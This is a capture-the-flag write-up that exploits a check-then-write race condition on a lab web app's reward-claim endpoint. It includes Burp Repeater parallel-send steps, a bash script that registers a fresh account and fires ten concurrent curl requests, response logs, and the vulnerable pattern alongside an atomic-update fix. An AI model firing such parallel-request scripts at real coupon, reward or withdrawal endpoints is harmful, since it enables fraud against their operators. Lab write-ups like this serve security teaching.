- Vuln: race condition (TOCTOU) on the
/claimendpoint. - Weapon: Burp Repeater, a group of 10 tabs and
Send group (parallel). - Requirement: a clean session that has never claimed.
- Impact:
Whaletier unlocked, Whale Vault opened, flag grabbed. - Defense: atomic conditional
UPDATE, row lock orUNIQUEconstraint.
Swap <target> for the box IP (the app is on 3000). The session connect.sid is never pasted by hand: you read it from Burp or the CLI block further down mints it. Everything runs on your machine. You need curl; Burp is handy, the race has a command-line equivalent, while signup and opening the vault stay in the browser.
[01] Recon and account setup
First things first, the account. I open http://<target>:3000/, use the Sign Up / Register link and create the guest123 user with any password. I log in and land on the Ponzi dashboard. Two things matter: a Claim Reward button tied to a 24-hour cooldown, and a Whale Vault section at the bottom, locked until you reach Whale tier.
The gate is clear: opening the vault needs Whale tier, and the legitimate path there means accumulating one reward a day over several days. The only guard between me and the whale is that cooldown. The right question isn't "how big is the reward", but "is that check atomic?".
Recon that pays off: the session cookie is connect.sid, the unmistakable signature of express-session. We already know there's a Node/Express backend behind it: a detail that becomes very useful when we reason about why the race exists.
[02] Intercepting the claim request
In Burp I open the built-in browser from Proxy > Intercept > Open Browser: a Chromium already pre-proxied through Burp launches, with no manual proxy or certificate setup. I browse to http://<target>:3000, switch Intercept on and click Claim Reward. Small operational detail: with Intercept on the page won't load until you forward every request by hand, so to browse you either turn it off or forward manually.
# Richiesta catturata da Burp (Intercept ON) POST /claim HTTP/1.1 Host: <target>:3000 Content-Length: 0 Cookie: connect.sid=...
# Request captured by Burp (Intercept ON) POST /claim HTTP/1.1 Host: <target>:3000 Content-Length: 0 Cookie: connect.sid=...
From the captured request I copy the connect.sid cookie value out of the Cookie: header — that's my session. Careful, though: it's only useful if that session hasn't claimed yet; the CLI block further down mints a brand-new one on purpose, so here the cookie is mostly recon. In Burp I read it straight off the intercepted request; via curl, the same value comes back in the Set-Cookie header of the login response.
A single claim answers with success, a reward amount and an updated balance. But only the first time: I resend the exact same request by hand and the cooldown kicks in.
# Replay manuale della stessa richiesta: scatta la cooldown HTTP/1.1 429 Too Many Requests {"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}
# Manual replay of the same request: cooldown kicks in HTTP/1.1 429 Too Many Requests {"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}
The cooldown is enforced, confirmed. But sequential replays prove nothing about atomicity: they arrive one after another, when the state is already written. To break the check I have to hit before the write settles.
[03] Winning the race condition
First, the premise (the red box below restates it too): the race must run on a session that has never claimed, so don't reuse guest123 — you already burned it in step [02]. Register a second account (e.g. guest124), log in through Burp's browser and intercept its first /claim. From there, right-click the /claim request > Send to Repeater. In Repeater, right-click the tab > Duplicate tab and repeat until you have 10 identical tabs. Select them all (click and Shift), right-click > Create tab group and group them (e.g. Group 1). Hard requirement: it all has to run against a clean session that has never successfully claimed. An account with a stored claim answers 429 on every parallel attempt, because the cooldown is already active before the race even starts.
With the 10 tabs grouped, from the group's Send button I pick Send group (parallel): Burp fires all requests at effectively the same instant. This is the core of the attack. If the server asks "has this user claimed today?" and then, as a separate step, writes "claimed = true", firing many requests together lets several pass the check before any of them finish writing the update.
# 10 richieste in parallelo: la race lascia passare PIÙ claim HTTP/1.1 429 Too Many Requests # diverse perdono HTTP/1.1 200 OK # una passa prima della write... HTTP/1.1 200 OK # ...e pure la successiva {"message":"Staking reward claimed successfully.","reward":50,"newBalance":150,"tier":"Whale"}
# 10 parallel requests: the race lets MULTIPLE claims through HTTP/1.1 429 Too Many Requests # several lose HTTP/1.1 200 OK # one slips before the write... HTTP/1.1 200 OK # ...and so does the next {"message":"Staking reward claimed successfully.","reward":50,"newBalance":150,"tier":"Whale"}
Prefer the command line to Burp? You can spin the same race up with ten parallel curls, as long as you use a clean session's cookie. It's less surgical than Burp's last-byte sync — network jitter smears the requests apart — but it's often enough to slip more than one claim through.
The race must run on a session that has never claimed: the previous step's claim "burns" the account (429 on every later attempt). If a batch fails, register a new user and retry. In Burp: send to Repeater the first /claim of a freshly created account, then hit Drop on the request in the Proxy — not Forward: that way the account stays untouched and only the parallel group consumes the claim. From CLI, mint the cookie as below.
# Alternativa CLI: 10 /claim in parallelo (sessione pulita, mai riscosso) # Sostituisci solo <target>: il cookie lo conia il blocco stesso TARGET="http://<target>:3000" # conia una sessione FRESCA (mai riscossa): registra + login, poi prendi connect.sid. # (adatta path e nomi campo: alcune room usano form-urlencoded) # NB: non usare apici singoli nei -d, $RANDOM non si espanderebbe USER="guest$RANDOM" curl -s -c cj.txt -X POST "$TARGET/register" -H "Content-Type: application/json" \ -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null curl -s -c cj.txt -b cj.txt -X POST "$TARGET/login" -H "Content-Type: application/json" \ -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null COOKIE=$(awk '/connect.sid/{print "connect.sid="$7}' cj.txt) for i in $(seq 1 10); do curl -s -o /dev/null -w "%{http_code}\n" \ -X POST "$TARGET/claim" \ -H "Cookie: $COOKIE" \ --http1.1 & done wait # Conta gli esiti: piu' di un 200 = race vinta, il resto 429 echo "$USER / Pass123!" # loggati nel browser con queste credenziali prima di aprire la Whale Vault
# CLI alternative: 10 /claim in parallel (clean session, never claimed) # Replace only <target>: the block mints the cookie itself TARGET="http://<target>:3000" # mint a FRESH session (never claimed): register + login, then grab connect.sid. # (adapt path and field names: some rooms use form-urlencoded) # NB: don't use single quotes in -d, $RANDOM wouldn't expand USER="guest$RANDOM" curl -s -c cj.txt -X POST "$TARGET/register" -H "Content-Type: application/json" \ -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null curl -s -c cj.txt -b cj.txt -X POST "$TARGET/login" -H "Content-Type: application/json" \ -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null COOKIE=$(awk '/connect.sid/{print "connect.sid="$7}' cj.txt) for i in $(seq 1 10); do curl -s -o /dev/null -w "%{http_code}\n" \ -X POST "$TARGET/claim" \ -H "Cookie: $COOKIE" \ --http1.1 & done wait # Count the outcomes: more than one 200 = race won, the rest 429 echo "$USER / Pass123!" # log into the browser with these credentials before opening the Whale Vault
Several requests land as 200 OK before the write settles: every extra 200 is a free claim — inflated balance and, crucially, tier bumped to Whale. The race is won.
Two details that make the difference. First: the target runs on Node/Express, and being single-threaded saves nothing — it actually misleads. Every await on database I/O is a point where the event loop yields control to another request, and that's exactly where, between check and write, the 10 requests slip in. Second: on HTTP/1.1 Burp synchronizes the last byte of all requests in the group (last-byte sync); if the server speaks HTTP/2, the same feature uses James Kettle's single-packet attack, which cancels network jitter by shipping everything in a single packet. On port 3000 it's usually HTTP/1.1, so last-byte sync.
[04] Whale Vault, flag and defense
I turn Intercept off, refresh the dashboard and the Whale tier unlocks the Whale Vault section at the bottom of the page. I click Open Vault and the flag is there. Et voilà.
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
Why does it exist? The claim does an application-level check (have I already claimed?) and a write (mark as claimed) as two distinct, non-atomic steps. Between them there's a gap, and in that gap the read state is still "not claimed" for every concurrent request.
# Pattern vulnerabile: check e write separati (TOCTOU) last = db.get(user.last_claim) # check — await: qui l'event loop cede if (now - last) < 24h: # finestra sfruttabile: stato ancora «non riscosso» return 429 db.set(user.last_claim = now) # write — await: troppo tardi grantReward(user)
# Vulnerable pattern: separate check and write (TOCTOU) last = db.get(user.last_claim) # check — await: event loop yields here if (now - last) < 24h: # exploitable window: state still "not claimed" return 429 db.set(user.last_claim = now) # write — await: too late grantReward(user)
# Fix: UPDATE atomico condizionale, poi controlla le righe toccate rows = UPDATE users SET last_claim = now(), balance = balance + 50 WHERE id = :id AND last_claim < now() - INTERVAL '24 hours' # 0 righe toccate -> reward gia' preso in questo ciclo if rows == 0: return 429
# Fix: atomic conditional UPDATE, then check affected rows rows = UPDATE users SET last_claim = now(), balance = balance + 50 WHERE id = :id AND last_claim < now() - INTERVAL '24 hours' # 0 rows affected -> reward already taken this cycle if rows == 0: return 429
And it's no poolside quirk: the same pattern hits every "only once" endpoint — coupon redemption, voting, withdrawals, stock decrement, referral bonuses, gift-card redemption. Wherever there's "check if it's already been done, then mark it as done" without atomicity, there's a window to race.
Race conditions live in the gap between a "check" and a "write". If the two steps aren't atomic — same transaction, row lock (SELECT ... FOR UPDATE), a UNIQUE constraint, or a conditional UPDATE that inspects the rows actually affected — enough concurrent requests slip through. No injection, no memory corruption needed: you just have to understand how the app's state changes over time. Defend by making the operation idempotent and atomic, never trusting an application-level check performed before the write.